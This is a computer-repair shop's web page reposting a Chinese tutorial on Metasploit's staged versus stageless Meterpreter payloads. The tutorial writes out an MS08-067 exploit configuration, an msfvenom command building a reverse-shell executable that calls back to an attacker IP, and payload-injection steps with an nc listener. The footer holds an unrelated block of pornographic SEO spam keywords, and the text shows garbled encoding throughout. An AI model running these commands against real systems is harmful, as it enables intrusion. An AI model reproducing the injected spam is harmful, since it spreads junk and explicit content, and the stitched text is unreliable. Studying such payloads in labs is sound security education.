錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠服務(wù),錦州廣廈維修電腦,公司IT外包服務(wù)
topFlag1 設(shè)為首頁
topFlag3 收藏本站
 
maojin003 首 頁 公司介紹 服務(wù)項目 服務(wù)報價 維修流程 IT外包服務(wù) 服務(wù)器維護 技術(shù)文章 常見故障
錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠服務(wù)技術(shù)文章
探尋Metasploit Payload模式背后的秘密

作者: 佚名  日期:2018-10-30 09:33:26   來源: 本站整理

 你們是否發(fā)現(xiàn)msf的payload中,經(jīng)常會看見一對對長得特別像的兄弟?
​我第一次學(xué)習(xí)metasploit的時候,可能和大家的開場方式一樣,試用08067的漏洞來攻擊一臺windows xp獲取一個meterpreter shell。那個時候幾乎沒怎么變過的使用reverse_tcp連接,但是有一天…
payload/windows/x64/meterpreter/reverse_tcp                               normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
payload/windows/x64/meterpreter_reverse_tcp                               normal  No     Windows Meterpreter Shell, Reverse TCP Inline x64
​我發(fā)現(xiàn)了一對雙胞胎,他們長得幾乎一模一樣,但是我從來沒有見過別人使用他的另一個小兄弟,所以這篇文章,我就想和大家聊聊metasploit payload模式背后的秘密。
​我們就以這個常用的meterpreter reverse_tcp來舉例,其實這兩個payload的區(qū)別從官方介紹上的話,我們可以發(fā)現(xiàn)兩個比較重要的詞語來闡述他們的不同inline和stager,其實,用metasploit官方的說法來說,他們第一個payload屬于stage模式,第二個payload屬于stageless模式,那他們之間具體有什么區(qū)別呢?
我們還是使用經(jīng)典的08067來介紹,下面是我們的模塊配置信息:
Stage
msf5 exploit(windows/smb/ms08_067_netapi) > show options 
Module options (exploit/windows/smb/ms08_067_netapi):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   192.168.1.2      yes       The target address range or CIDR identifier
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/meterpreter/reverse_tcp):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     0.0.0.0          yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Automatic Targeting
當(dāng)我們使用metasplit的ms08_067_netapi模塊之后,使用payload/windows/meterpreter/reverse_tcp模塊,并開啟一個multi/handler連接監(jiān)聽著我們本機的4444端口,有了解過緩沖區(qū)溢出的同學(xué)可能都知道,攻擊者會利用軟件的某個缺陷來傳輸一段很長的shellcode來溢出目標(biāo)的緩沖區(qū),從而控制EIP指針來跳轉(zhuǎn)到我們的shellcode上,執(zhí)行我們的代碼,但是這段shellcode并不能過長,shellcode過長,可能會導(dǎo)致覆蓋到了上一函數(shù)棧幀的數(shù)據(jù),導(dǎo)致異常的發(fā)生。所以像我們攻擊者最希望就是生成一段短小精悍的shellcode啦。
像這張圖,我們攻擊機像目標(biāo)靶機發(fā)送了一段shellcode,并覆蓋了EIP,導(dǎo)致程序執(zhí)行的時候跳回shellcode的開頭,從而控制程序的執(zhí)行情況,執(zhí)行我們的惡意代碼,這段惡意代碼就只要干兩件事,第一件事就是向內(nèi)存申請開辟一塊空間,第二件事就是回連我們的4444端口,這段shellcode為我們干的事情就好像是一個前排沖鋒的戰(zhàn)士,打開城墻的大門好讓更多的精兵沖進來。我們稱這段shellcode為stage0,也就是第一階段
這時,我們的攻擊機,已經(jīng)開始監(jiān)聽4444端口了,只要連接一成功,就會把meterpreter shell最核心的dll文件發(fā)送到靶機上
我們之前說過,當(dāng)靶機運行了我們的shellcode,會在內(nèi)存里面開辟一塊土地,這個地方就是為我們的metsrv留的,metsrv.dll這個文件是meterpreter的核心主件,有了他,我們才能獲取到一個meterpreter shell,當(dāng)metsrv傳輸成功之后,shellcode就會把控制權(quán)轉(zhuǎn)給metsrv,metsrv這時再去請求另外兩個dll文件stdapi和priv。這個時候我們一般就會看到一個讓人振奮的提示:
msf5 exploit(windows/smb/ms08_067_netapi) > run
[*] Sending stage (206403 bytes) to 10.73.151.75
[*] Starting interaction with 1...
meterpreter >
Stageless
現(xiàn)在我們知道了meterpreter/reverse_tcp是分階段的shellcode,并且他分階段的原因是因為在溢出攻擊的時候shellcode應(yīng)該盡可能保持得更短,這個時候理解他小兄弟meterpreter_reverse_tcp就方便的多,和meterpreter/reverse_tcp不同的是,他的小兄弟meterpreter_reverse_tcp是一個不分階段的payload,我們稱之為stageless(unstage),他在生成的時候就已經(jīng)將我們獲取一個meterpreter必須要用的stdapi已經(jīng)包含在其中了。那這又有什么好處呢?試想一下,如果我們通過層層的代理,在內(nèi)網(wǎng)進行漫游,這個時候使用分階段的payload如果網(wǎng)絡(luò)傳輸出現(xiàn)了問題,metsrv.dll沒有加載過去,可能就會錯失一個shell,stageless的payload會讓人放心不少默認(rèn)的stageless payload只會包含stageless,所以如果想將stdapi和priv兩個組建給包含進去的華我們可以用extensions命令:
msfvenom -p windows/meterpreter_reverse_tcp LHOST=172.16.52.1 LPORT=4444 EXTENSIONS=stdapi,priv -f exe -o stageless.exe
Another Thing
分階段的payload,我們必須使用exploit/multi/handler這個模塊使用,但是當(dāng)我們想回彈一個基礎(chǔ)的shell的時候,其實可以使用nc來監(jiān)聽端口直接回連到nc上,為了測試方便,我直接在已獲得session的機器中,注入新的payload來測試:
Target:
use exploit/windows/local/payload_inject
set payload windows/shell_reverse_tcp
set sessions 1
set DisablePayloadHandler True (這個設(shè)置是讓msf不監(jiān)聽端口)
run
root:~# nc -nvpl 4444
當(dāng)有時獲取到了root權(quán)限,想反彈linux shell的時候,這時meterprter的需求就不是那么高了,我們就可以使用shell_reverse_tcp(或者是bind)來生成一個stageless的bash腳本,直接使用nc來接受shell
視頻演示:
課后作業(yè):
1.在生成一個windows/shell_reverse_tcp的時候,是否需要指定EXTENSIONS=stdapi,priv?
2.meterpreter_reverse_tcp是否可以不用exploit/multi/hander模塊,直接用nc來監(jiān)聽獲取?
3.在你只有一個windows的反彈shell的時候,反悔想使用meterpreter的shell了,有什么辦法來獲取呢?
大家在留言處踴躍留言吧,記得加上自己的思考過程,have fun ^_^
REFERER:
https://xz.aliyun.com/t/1709
https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Stageless-Mode
 




熱門文章
  • 機械革命S1 PRO-02 開機不顯示 黑...
  • 聯(lián)想ThinkPad NM-C641上電掉電點不...
  • 三星一體激光打印機SCX-4521F維修...
  • 通過串口命令查看EMMC擦寫次數(shù)和判...
  • IIS 8 開啟 GZIP壓縮來減少網(wǎng)絡(luò)請求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對講門禁讀卡異常維修,讀卡芯...
  • 新款海信電視機始終停留在開機界面...
  • 常見打印機清零步驟
  • 安裝驅(qū)動時提示不包含數(shù)字簽名的解...
  • 共享打印機需要密碼的解決方法
  • 圖解Windows 7系統(tǒng)快速共享打印機的...
  • 錦州廣廈電腦上門維修

    報修電話:13840665804  QQ:174984393 (聯(lián)系人:毛先生)   
    E-Mail:174984393@qq.com
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號:遼ICP備2023002984號-1
    上門服務(wù)區(qū)域: 遼寧錦州市區(qū)
    主要業(yè)務(wù): 修電腦,電腦修理,電腦維護,上門維修電腦,黑屏藍屏死機故障排除,無線上網(wǎng)設(shè)置,IT服務(wù)外包,局域網(wǎng)組建,ADSL共享上網(wǎng),路由器設(shè)置,數(shù)據(jù)恢復(fù),密碼破解,光盤刻錄制作等服務(wù)

    技術(shù)支持:微軟等
    主站蜘蛛池模板: 无码人妻久久久一区二区三区 | 亚洲av无码一区二区三区四区| 国产精品亚洲а∨无码播放| 国产三级无码内射在线看| 中文无码vs无码人妻| 97久久精品亚洲中文字幕无码| 亚洲中文字幕久久精品无码VA| 精品亚洲成α人无码成α在线观看| 久久人妻av无码中文专区| 国模无码一区二区三区| 国产激情无码一区二区| 国产精品无码亚洲一区二区三区 | 国产乱子伦精品无码码专区| 国产成人无码AV片在线观看| 日韩丰满少妇无码内射| 亚洲中文久久精品无码ww16| 国产精品无码免费视频二三区| 久久国产精品无码一区二区三区| 久久久久无码国产精品不卡 | 成人无码一区二区三区| 色综合久久久无码中文字幕| 无码中文2020字幕二区| 无码爆乳护士让我爽| 蜜桃成人无码区免费视频网站| 野花在线无码视频在线播放| 国产色无码专区在线观看| 亚洲AⅤ无码一区二区三区在线 | 久久青草亚洲AV无码麻豆| 国产精品无码久久久久久| 中文字幕无码不卡在线| 国产成人无码午夜福利软件| 无码午夜人妻一区二区不卡视频| 久久精品无码专区免费青青| 久久久久亚洲AV无码网站| 无码人妻一区二区三区免费看| 亚洲国产a∨无码中文777| 无码乱人伦一区二区亚洲| 无码一区二区三区视频| 亚洲国产成人无码av在线播放| 无码人妻久久久一区二区三区| 亚洲AV成人无码天堂|